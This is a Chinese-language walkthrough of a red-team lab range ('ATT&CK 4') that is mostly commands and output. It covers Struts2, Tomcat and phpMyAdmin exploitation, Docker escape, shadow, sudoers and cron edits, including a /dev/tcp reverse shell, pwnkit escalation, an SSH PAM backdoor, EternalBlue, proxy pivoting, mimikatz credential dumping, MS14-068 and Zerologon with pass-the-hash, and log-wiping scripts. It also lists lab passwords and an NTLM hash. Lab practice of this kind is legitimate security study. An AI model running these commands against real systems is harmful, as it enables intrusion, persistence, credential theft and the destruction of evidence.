ATT&CK(四)
win7 douser Dotest123 web ubuntu ubuntu DC administrator Test2008
docker ps -a docker start ec814f6ee002 docker start 174745108fcb docker start 09dd4e5bfa91
探测服务 先探测下ip
struts2 发现是struts2 程序 直接扫
传个冰蝎马
弹给msf
use exploit/multi/handler set payload java/meterpreter/reverse_tcp set lhost 0.0.0.0 run
172 开头的
推测是docker的
判断docker方法
查看是否存在dockerrnv文件
查看系统进程的cgroup信息
tomcat
searchsploit tomcat 8.5.19
searchsploit -m jsp/webapps/42966.py
python3 42966.py -u http://192.168.157.128:2002/
直接返回shell
python3 42966.py -u http://192.168.157.128:2002/ -p pwn
手动测试
传个马
use exploit/multi/handler set payload java/meterpreter/reverse_tcp set lhost 0.0.0.0 run
phpmyadmin
本地自己拉了一个vulnhub的靶场
第二个payload
index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
看下别人的分析
存在包含的位置
if (! empty ($_REQUEST ['target' ]) && is_string ($_REQUEST ['target' ]) && ! preg_match ('/^index/' , $_REQUEST ['target' ]) && ! in_array ($_REQUEST ['target' ], $target_blacklist ) && Core ::checkPageValidity ($_REQUEST ['target' ]) ) { include $_REQUEST ['target' ]; exit ; }
这里都比较好理解 1.需要是字符串 2.正则不能是index开头 3.不在$target_blacklist黑名单里面 4.checkPageValidity方法为True
public static function checkPageValidity (&$page , array $whitelist = [] ) { if (empty ($whitelist )) { $whitelist = self ::$goto_whitelist ; } if (! isset ($page ) || !is_string ($page )) { return false ; } if (in_array ($page , $whitelist )) { return true ; } $_page = mb_substr ( $page , 0 , mb_strpos ($page . '?' , '?' ) ); if (in_array ($_page , $whitelist )) { return true ; } $_page = urldecode ($page ); $_page = mb_substr ( $_page , 0 , mb_strpos ($_page . '?' , '?' ) ); if (in_array ($_page , $whitelist )) { return true ; } return false ; }
白名单
这里的代码就写的 嗯…
$_page = urldecode ($page ); $_page = mb_substr ( $_page , 0 , mb_strpos ($_page . '?' , '?' ) ); if (in_array ($_page , $whitelist )) { return true ; }
在test表中,插入一句话
index.php?target=db_sql.php%253f/../../../../../../../../tmp/sess_1118e8c49e1a158d636d3fe1792c6cc8
docker逃逸 挂载目录 这里通过struts2 拿到的shell获取磁盘文件为空,所以利用不了
但是tomcat可以
mount /dev/sda1 /test 将sda1挂载到test文件夹下
写入公钥
ls /test/home ls -alh /test/home/ubuntu 查看ubuntu目录所有的文件
这里可以看到这个 .ssh目录 我们要将ssh私钥写入到 .ssh 目录里面并将文件名命名为 authorized_keys 而且.ssh 目录的权限必须为700
使用如下命令写入ssh私钥
cp -avx /test/home/ubuntu/.ssh/id_rsa.pub /test/home/ubuntu/.ssh/authorized_keys echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1bjVJHesvB4eod522ItIhDUr77COuIVK7XVZi9yzkUHQ2TWnVpbdIfjQOsKNNn6Vs45BKrVJyiffmPGPLIgJJq8jvNWQ9/dsYeH7TUz37/N42CoQ6iLDBfjW3dmG0/78BUS0Y5MTWVYh9VSVPLP4gEbUwgE82L9sZXNAXG6+EZsFNGuvfGXK2Gjijvp40muNCpIUxjXSRBPkHGZuGNp3rM2MXHdBuTsbM8wutMwum45SO7e4YziJizUYlfhO1otLvFLSfdfZP0nmvpCYHhoaICUpEvvA/RNLhSf8tgnXT3VZyeBcXnVhxphY6mHPCbcVe5bCgHtHweZx4yl2WGIbq6sRCGxDClsZf44FJB8QAw6PYifkmhTmAl35j58KuJ/YRC75eewnWc3jUKxTCSLCTGAc/Oogi81clb0F4xdxtjhJgSPrcmC6u0UtlOe7tz3VEAk6206Kl0/m8HExMYtIqec0JR/YqKvIpyFw4bgbySIAxSpCb1+8+g7O7VAXS4i8= root@kali' >> authorized_keys
这里写进去了发现也是需要密码的 自己测试的时候也是
添加新用户 这里使用另一个方式
先建一个强密码用户 需要在ubuntu上面创建
useradd -s /bin/bash wanan
echo 'wanan:x:1002:1002::/home/wanan:/bin/bash' >> /test/etc/passwd echo 'wanan:$6$wx/tJmeWcAniLelk$tZmXA7hCMamP9elzhIXdQG.BbFBxLbBxJqch5rWJEf8i7W/VrSL2aqsaOn3j4ny7mEE6Zp6bxUiJb2mEyU9tT0:19261:0:99999:7:::' >> /test/etc/shadow
使用刚才创建的用户连接
定时任务 touch /test/tmp/test.sh chmod +x /test/tmp/test.sh ls -ll /test/tmp/test.sh echo '#!/bin/bash' >> /test/tmp/test.sh echo '/bin/bash -i >& bash -i >& /dev/tcp/192.168.157.130/5555 0>&1' >> /test/tmp/test.sh cat /test/tmp/test.sh sed -i '$a*/2 * * * * root bash /tmp/test.sh ' /test/etc/crontab cat /test/etc/crontab
略等一会 这个省了提权了
ubuntu提权 写sudoers提权 ubuntu提权知识 ubuntu是用命令行执行命令.在普通用户下的操作很受限,无法变成管理员权限,所以需要在一个文件 /etc/sudoers处加入普通用户放行语句,才可以让普通用户在ssh的情况下进行提权
echo "wanan ALL=(ALL:ALL) ALL" >> /test/etc/sudoers
exp提权
searchsploit ubuntu 4.4.0
下载exp
https://github.com/briskets/CVE-2021-3493
gcc exploit.c -o exploit ./exploit
msf模块 先上线
use exploit/multi/script/web_delivery set target 7 set payload linux/x64/meterpreter/reverse_tcp set lhost 192.168.157.130 run
search suggester use 0 options set session 3 run
1 exploit/linux/local/apport_abrt_chroot_priv_esc Yes The target appears to be vulnerable. 2 exploit/linux/local/bpf_sign_extension_priv_esc Yes The target appears to be vulnerable. 3 exploit/linux/local/cve_2021_3493_overlayfs Yes The target appears to be vulnerable. 4 exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec Yes The target is vulnerable. 5 exploit/linux/local/cve_2022_0995_watch_queue Yes The target appears to be vulnerable. 6 exploit/linux/local/network_manager_vpnc_username_priv_esc Yes The service is running, but could not be validated. 7 exploit/linux/local/pkexec Yes The service is running, but could not be validated. 8 exploit/linux/local/ptrace_traceme_pkexec_helper Yes The target appears to be vulnerable. 9 exploit/linux/local/su_login Yes The target appears to be vulnerable. 10 exploit/linux/local/sudo_baron_samedit Yes The target appears to be vulnerable. sudo 1.8.9.5 is a vulnerable build.
我们之间上这个 is vulnerable
use exploit/linux/local/cve_2021_4034_pwnkit_lpe_pkexec options set session 3 run
上线web
use exploit/multi/script/web_delivery set target 7 set payload linux/x64/meterpreter/reverse_tcp set lhost 192.168.157.130 run
ssh软连接后门 利用前提 ssh配置中开启了 pam进行身份认证 默认开启
cat /etc/ssh/sshd_config | grep UsePAM
在启用了之后 当在pam配置文件中控制标志为sufficient时 ,只要pam_rootok.so 模块检测uid为 0 就可以成功认证登录 我们可以先看一下这个 pam_rootok.so
这个是su命令 也就是当我们是root时 我们切换其他用户时不需要密码的
sshd很明显是需要密码的
那么我们如果直接使用 /usr/sbin/sshd 去启动ssh服务的话 是默认使用的是 /etc/pam.d/sshd 的pam配置文件
我们来进行尝试 这里的 -o 其实是开启一个端口去监听
/usr/sbin/sshd -oPort=12345
那么我们将sshd 服务换一下名字 换成su 它就会去找对应在/etc/pam.d/su 的配置文件
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=1234
ssh root@192.168.157.130 -p 1234
密码随便输
那么同样的我们 也可以在 /etc/pam.d/ 下寻找其他带有 pam_rootok.so的文件
find /etc/pam.d |xargs grep "pam_rootok"
应急响应
查看服务器开放的端口号
发现异常的 su 端口 1234
对应的服务是 sshd服务
确定软连接后门文件
find / -name su ll /tmp/su
删除对应的软连接后门
发现无法登录
添加代理 这里的frp代理是后加的 使用msf代理win7是扫描不到的
msf代理模块 发现还有一张网卡
run get_local_subnets run autoroute -s 192.168.183.0/24 run autoroute -p bg
use auxiliary/server/socks_proxy set version 5 set srvhost 0.0.0.0 edit /etc/proxychains4.conf run
这里的问题可能存在这个srvhost 需要是 0.0.0.0 根据我的理解这里是我们允许去代理的 ip 也就是请求 ip 如果我们设置为 192.168.157.130 (kali) 那么也就是只会代理 kali的请求 而当win7 的请求发向kali时则会丢弃 所以会导致下面获取shell出现问题 而这里使用0.0.0.0 则会监听所有ip地址
proxychains curl http://192.168.183.133:2002
win7 查看ip存活情况
use auxiliary/scanner/discovery/udp_probe set rhosts 192.168.183.1-255 set threads 20 run
proxychains nmap -sT -Pn -p 21,22,135,139,445,80,53,8080,1433 192.168.183.129
proxychains nmap -sT -Pn -p 21,22,135,139,445,80,53,8080,1433 192.168.183.130
可以看到开放了 445 端口
直接打一手 ms_07-010
这里注意 更改了 payload的类型 原因是这里可能是目标主机有防火墙限制 导致不能反向连接 我们使用正向连接的payload 这里打了很多次 ip有所变化 能不能打通全靠运气
use windows/smb/ms17_010_eternalblue set rhosts 192.168.183.134 set payload windows/x64/meterpreter/bind_tcp options run
frp代理 添加路由
run get_local_subnets run autoroute -s 192.168.183.0/24 run autoroute -p bg
wget https://github.com/fatedier/frp/releases/download/v0.44.0/frp_0.44.0_linux_amd64.tar.gz
新版本不能使用注释
[common] bind_addr = 0.0.0.0 bind_port = 17000 dashboard_addr = 0.0.0.0 dashboard_port = 27500 dashboard_user = root dashboard_pwd = toor token = wanan heartbeat_timeout = 90 max_pool_count = 5
[common] bind_addr = 0.0.0.0 #绑定的ip,为本机 bind_port = 17000 #绑定的端口 dashboard_addr = 0.0.0.0 #管理地址 dashboard_port = 27500 #管理端口 dashboard_user = root #管理的用户名 dashboard_pwd = toor #管理用户的密码 token = wanan #客户端服务端连接的密码 heartbeat_timeout = 90 #心跳超时时间 max_pool_count = 5 #最大同时连接数
ubuntu
frpc.ini
新版本不能使用注释
[common] server_addr = 192.168.157.130 server_port = 17000 token = wanan pool_count = 5 protocol = tcp health_check_type = tcp health_check_interval_s = 100 [test] remote_port = 10000 plugin = socks5 use_encryption = true use_compression = true
[common] server_addr = 192.168.157.130 #kali的IP地址 server_port = 17000 token = wanan pool_count = 5 protocol = tcp #协议类型 health_check_type = tcp health_check_interval_s = 100 [test] remote_port = 10000 #代理的端口 plugin = socks5 #使用的协议 use_encryption = true #是否加密 use_compression = true
vim /etc/proxychains4.conf
配置时注意添加密码
第三天又不通了 回头发现是网卡的问题 重启一下两张网卡就好了
proxychains ping 192.168.183.134
这里重新打ms17_010 的时候又出问题
use windows/smb/ms17_010_eternalblue set rhosts 192.168.183.141 set payload windows/x64/meterpreter/bind_tcp options run
发现是火绒在搞事情
关了之后一次通
收集信息
发现不在域下
偷下 token
net view /domain Net group "domain controllers" /domain
ping WIN-ENS2VR5TR3N.demo.com
开远程桌面
run post/windows/manage/enable_rdp
DC MS14-068 use windows/smb/ms17_010_eternalblue set rhosts 192.168.183.130 set payload windows/x64/meterpreter/bind_tcp options run
这里域控没有打成功
抓下密码
load kiwi kiwi_cmd privilege::debug kiwi_cmd sekurlsa::logonPasswords
没有拿到域控的密码
Domain : DEMO.COM User Name : douser Password : Dotest123 SID : S-1-5-21-979886063-1111900045-1414766810-1107 NTLM : bc23b0b4d5bf5ff42bc61fb62e13886e
查看补丁信息
微软针对 MS14-068 漏洞提供补丁为 KB3011780
下载一下 ms14-068.exe
http://blog.luckly-mjw.cn/tool-show/github-directory-downloader/index.html https://github.com/abatchy17/WindowsExploits/blob/master/MS14-068/MS14-068.exe https://raw.githubusercontent.com/abatchy17/WindowsExploits/master/MS14-068/MS14-068.exe
wget https://raw.githubusercontent.com/abatchy17/WindowsExploits/master/MS14-068/MS14-068.exe
upload /root/MS14-068.exe
MS14-068.exe -u douser@DEMO.COM -p Dotest123 -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130
上传mimikatz.exe
upload /usr/share/windows-resources/mimikatz/x64/mimikatz.exe
通过mimikatz.exe 导入tgt票据
kerberos::ptc TGT_douser@DEMO.COM.ccache
置零攻击(cve-2020-1472) exp https://github.com/risksense/zerologon
wget https://raw.githubusercontent.com/risksense/zerologon/master/set_empty_pw.py
python3 set_empty_pw.py 域控名字 域控_ip,先将域控密码置零
python3 set_empty_pw.py WIN-ENS2VR5TR3N 192.168.183.130
置零之后就可以使用impacket的secretsdump来空密码登录获取hash
下载一下impacket的secretsdump kali自带的报错
git clone https://github.com/SecureAuthCorp/impacket.git
获取下hash
python3 secretsdump.py demo/WIN-ENS2VR5TR3N$\@192.168.183.130 -no-pass
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:56876536089599949a617c8718c88a6a demo.com/administrator\@192.168.183.130
痕迹清除 清除命令历史记录
histroy -r #删除当前会话历史记录 history -c #删除内存中的所有命令历史 rm .bash_history #删除历史文件中的内容 HISTZISE=0 #通过设置历史命令条数来清除所有历史记录 在隐蔽的位置执行命令 使用vim打开文件执行命令 :set history=0 :!command linux日志文件 /var/run/utmp 记录现在登入的用户 /var/log/wtmp 记录用户所有的登入和登出 /var/log/lastlog 记录每一个用户最后登入时间 /var/log/btmp 记录错误的登入尝试 /var/log/auth.log 需要身份确认的操作 /var/log/secure 记录安全相关的日志信息 /var/log/maillog 记录邮件相关的日志信息 /var/log/message 记录系统启动后的信息和错误日志 /var/log/cron 记录定时任务相关的日志信息 /var/log/spooler 记录UUCP和news设备相关的日志信息 /var/log/boot.log 记录守护进程启动和停止相关的日志消息 完全删除日志文件: cat /dev/null > filename : > filename > filename echo "" > filename echo > filename 针对性删除日志文件: 删除当天日志 sed -i '/当天日期/'d filename 一键清除脚本: #!/usr/bin/bash echo > /var/log/syslog echo > /var/log/messages echo > /var/log/httpd/access_log echo > /var/log/httpd/error_log echo > /var/log/xferlog echo > /var/log/secure echo > /var/log/auth.log echo > /var/log/user.log echo > /var/log/wtmp echo > /var/log/lastlog echo > /var/log/btmp echo > /var/run/utmp rm ~/./bash_history history -c
windows
1.查看事件日志 run event_manager -i 2.删除事件日志 run event_manager -c 3.clearv命令清除目标系统的事件日志。
MSF
run event_manager -i 查看日志 run event_manager -c 删除事件日志
https://www.freebuf.com/articles/web/340783.html
https://drunkmars.top/2021/08/09/%E7%BA%A2%E6%97%A5%E9%9D%B6%E5%9C%BA4/#
https://txluck.github.io/2021/10/30/%E7%BA%A2%E6%97%A54/
https://kam1.cc/2022/06/07/%E7%BA%A2%E6%97%A5ATT&CK%E9%9D%B6%E5%9C%BA%20-%20%E5%9B%9B/
https://blog.csdn.net/qq_36241198/article/details/121619400
https://zhuanlan.zhihu.com/p/405809605